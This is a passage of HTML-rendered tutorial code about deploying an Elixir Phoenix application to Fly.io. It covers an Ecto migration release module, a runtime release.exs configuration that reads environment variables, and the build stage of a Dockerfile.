&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;      &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Migrator&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;with_repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;&amp;&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Migrator&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;run&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&amp;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:down&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;to: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;repos&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Application&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;fetch_env!&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;app&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:ecto_repos&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;load_app&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Application&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;load&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;app&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, whenever we want to migrate the database, we can call &lt;code&gt;MyApp.Release.migrate()&lt;/code&gt; instead of &lt;code&gt;mix ecto.setup&lt;/code&gt;. We will use this in the following section when we start our Docker image.&lt;/p&gt;
&lt;p&gt;As the last step, we need to configure our application with a &lt;code&gt;/config/release.exs&lt;/code&gt; file. This allows us to read the environment variables when the application is started (at runtime) instead of when the Docker image is built (at compile time).&lt;/p&gt;
&lt;p&gt;Create a &lt;code&gt;/config/release.exs&lt;/code&gt; file and copy the following code into it:&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Config&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;secret_key_base&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;System&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;SECRET_KEY_BASE&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;||&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;raise&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    environment variable SECRET_KEY_BASE is missing.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    You can generate one by calling: mix phx.gen.secret
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &quot;&quot;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;app_name&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;System&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;FLY_APP_NAME&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;||&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;raise&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;FLY_APP_NAME not available&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;database_url&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;System&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;DATABASE_URL&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;||&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;raise&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;    environment variable DATABASE_URL is missing.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;    For example: ecto://USER:PASS@HOST/DATABASE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;    &quot;&quot;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;config&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:my_app&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.Repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;url: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;database_url&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# DON&amp;#39;T FORGET THE FOLLOWING LINE&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;socket_options: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:inet6&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;pool_size: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;String&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;to_integer&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;System&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;POOL_SIZE&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;||&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;10&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;config&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:my_app&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyAppWeb.Endpoint&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;server: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;secret_key_base: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;secret_key_base&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;load_from_system_env: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;http: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;port: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:system&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;PORT&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;url: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;scheme: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;https&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;host: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;app_name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;.fly.dev&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;port: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;443&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;force_ssl: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;rewrite_on: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:x_forwarded_proto&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;cache_static_manifest: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;priv/static/cache_manifest.json&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;36&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Do not include metadata nor timestamps in development logs&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;37&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;config&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:logger&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:console&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;format: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;[$level] $message&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff; font-weight: bold;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Make sure that you defined the &lt;code&gt;socket_options: [:inet6]&lt;/code&gt; option for your &lt;code&gt;Repo&lt;/code&gt;. Otherwise, your repo won&apos;t be able to talk to the provisioned Postgres instance, which requires a connection via &lt;code&gt;IPv6&lt;/code&gt;. This info was brought to you by &lt;a href=&quot;https://elixirforum.com/t/use-fly-io-internal-dns-for-resolving-database-url/38889&quot;&gt;a very kind engineer&lt;/a&gt; at fly.io.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-docker-setup&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-docker-setup&quot;&gt;&lt;/a&gt;The Docker setup&lt;/h2&gt;
&lt;p&gt;Fly.io only supports deploying Docker images as of now. We need to create a Dockerfile to build and deploy a Docker image with our application inside of it.&lt;/p&gt;
&lt;p&gt;Create a &lt;code&gt;Dockerfile&lt;/code&gt; and copy the following code into it:&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-dockerfile&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Stage 1: Build a Mix.Release of the application (image size: ~750mb)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;FROM&lt;/span&gt; bitwalker/alpine-elixir-phoenix&lt;span style=&quot;color: #79c0ff;&quot;&gt;:&lt;/span&gt;latest &lt;span style=&quot;color: #ff7b72;&quot;&gt;AS&lt;/span&gt; phx-builder
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;WORKDIR&lt;/span&gt; /app
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# These two environment variables will be overwritten when the application is started.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# They are needed here to satisfy the env-variable checks in `prod.secret.exs`&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;ENV&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;SECRET_KEY_BASE&lt;/span&gt;=nokey
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;ENV&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;DATABASE_URL&lt;/span&gt;=nodb
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# If you set the PORT to 4000, you need to change it in the fly.toml as well.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;ENV&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;PORT&lt;/span&gt;=4000
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;ENV&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;MIX_ENV&lt;/span&gt;=prod
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Cache elixir deps&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;ADD&lt;/span&gt; mix.exs mix.lock ./
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;RUN&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;mix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;do&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;deps.get&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;--only&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;prod,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;deps.compile
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Cache npm deps&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;ADD&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt; assets/package.json assets/
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;RUN&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt; npm&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;install&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;--prefix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;assets
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Copy all local files to the build context&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Ignores the ones specified in .dockerignore&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;ADD&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt; . .
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Run frontend build, compile, and digest assets&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;RUN&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt; npm&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;run&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;--prefix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;assets&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;deploy
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;RUN&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt; mix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;do&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;compile,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;phx.digest
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Create a Mix.Release of the application&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;RUN&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt; mix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;release
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Stage 2: Create a smaller deployment image (image size: ~98mb)&lt;/span&gt;
